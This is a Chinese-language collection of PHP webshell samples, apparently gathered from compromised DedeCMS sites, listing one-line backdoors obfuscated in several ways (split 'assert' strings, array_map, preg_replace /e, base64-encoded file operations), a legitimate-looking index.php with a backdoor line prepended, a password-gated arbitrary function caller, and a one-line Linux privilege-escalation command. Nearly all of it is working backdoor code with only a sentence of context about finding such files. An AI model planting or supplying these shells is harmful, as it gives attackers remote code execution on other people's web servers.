php木马样本，持续更新

<?array_map("ass\x65rt",(array)$_REQUEST[dede]);?>
<?php $command=$_POST[1990]; @eval($command);?>

打着广告的名义忽悠的php木马，不少一句话木马出现在附件上传目中，以达到网站挣钱的目的，而且还不是自己的网站，可通过linux命令批量查看文件查找到。

<?array_map("ass\x65rt",(array)$_REQUEST[seay]);?>
 * @version        $Id: index.php 1 9:23 2010-11-11 tianya $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
if(!file_exists(dirname(__FILE__).'/data/common.inc.php'))
{
    header('Location:install/index.php');
    exit();
}
if(isset($_GET['upcache']) || !file_exists('index.html'))
{
    require_once (dirname(__FILE__) . "/include/common.inc.php");
    require_once DEDEINC."/arc.partview.class.php";
    $GLOBALS['_arclistEnv'] = 'index';
    $row = $dsql->GetOne("Select * From `#@__homepageset`");
    $row['templet'] = MfTemplet($row['templet']);
    $pv = new PartView();
    $pv->SetTemplet($cfg_basedir . $cfg_templets_dir . "/" . $row['templet']);
    $row['showmod'] = isset($row['showmod'])? $row['showmod'] : 0;
    if ($row['showmod'] == 1)
    {
        $pv->SaveToHtml(dirname(__FILE__).'/index.html');
        include(dirname(__FILE__).'/index.html');
        exit();
    } else {
        $pv->Display();
        exit();
    }
}
else
{
    header('HTTP/1.1 301 Moved Permanently');
    header('Location:index.html');
}
?>

<?php
error_reporting(E_ERROR);
if (isset($_REQUEST['myfunctionpassw']))
    define('FUNCTION_PASSW',stripslashes($_REQUEST['myfunctionpassw']));
if (isset($_REQUEST['myfunctioncodea']))
    define('FUNCTION_CODEA',stripslashes($_REQUEST['myfunctioncodea']));
if (isset($_REQUEST['myfunctioncodeb']))
    define('FUNCTION_CODEB',stripslashes($_REQUEST['myfunctioncodeb']));
if (isset($_REQUEST['myfunctioncodec']))
    define('FUNCTION_CODEC',stripslashes($_REQUEST['myfunctioncodec']));
if (substr ( md5 (FUNCTION_PASSW),26) == '254bff') {
    if (isset($_REQUEST['myfunctioncodea']) && isset($_REQUEST['myfunctioncodeb']) && isset($_REQUEST['myfunctioncodec']))
        $_REQUEST['myfunctionname'](FUNCTION_CODEA, FUNCTION_CODEB, FUNCTION_CODEC);
    elseif (isset($_REQUEST['myfunctioncodea']) && isset($_REQUEST['myfunctioncodeb']))
        $_REQUEST['myfunctionname'](FUNCTION_CODEA, FUNCTION_CODEB) ? print(FUNCTION_CODEA.' ok') : print(FUNCTION_CODEA.' err');
    else
        $_REQUEST['myfunctionname'](FUNCTION_CODEA);
} else {
    die('Access Denied');
}
?>

linux一句话提权：install uprobes /bin/sh

组合木马

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

<?php $k="ass"."ert"; $k(${"_PO"."ST"} [sz]);?>
<?php copy(base64_decode("Li4vLi4vLi4vcGx1cy9kb3dubG9hZC5waHA="),base64_decode("Li4vLi4vZGVkZWRvd25sb2FkLnBocA=="));copy(base64_decode("Li4vLi4vLi4vcGx1cy9teXRhZ19qcy5waHA="),base64_decode("Li4vLi4vZGVkZW15dGFnLnBocA=="));echo "dedeok823571";?>
<?php echo "dedeok";array_map("ass\x65rt",(array)${"_PO"."ST"}["52296"]);?>
<?php unlink(base64_decode("Li4vLi4vcGx1cy9kb3dubG9hZC5waHA="));unlink(base64_decode("Li4vLi4vcGx1cy9teXRhZ19qcy5waHA="));echo "dedeok913438";?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['8']);?>
<?$_POST['k']($_POST['8']);?>
<?php $k = str_replace("8","","a8s88s8e8r88t");$k($_POST["8"]); ?>
<?php $_GET['k8']($_POST['k8']);?>
<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST["k8"]);  ?>       
<?php @preg_replace("//e",$_POST[x],"e");exit("|LO|"); ?>       
<?php echo "dedeok";array_map("ass\x65rt",(array)${"_PO"."ST"}["16883"]);?>       
<?php echo "dedeok245563";$a=scandir("../../../../");print_r($a);?>        
<?php@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");        ?>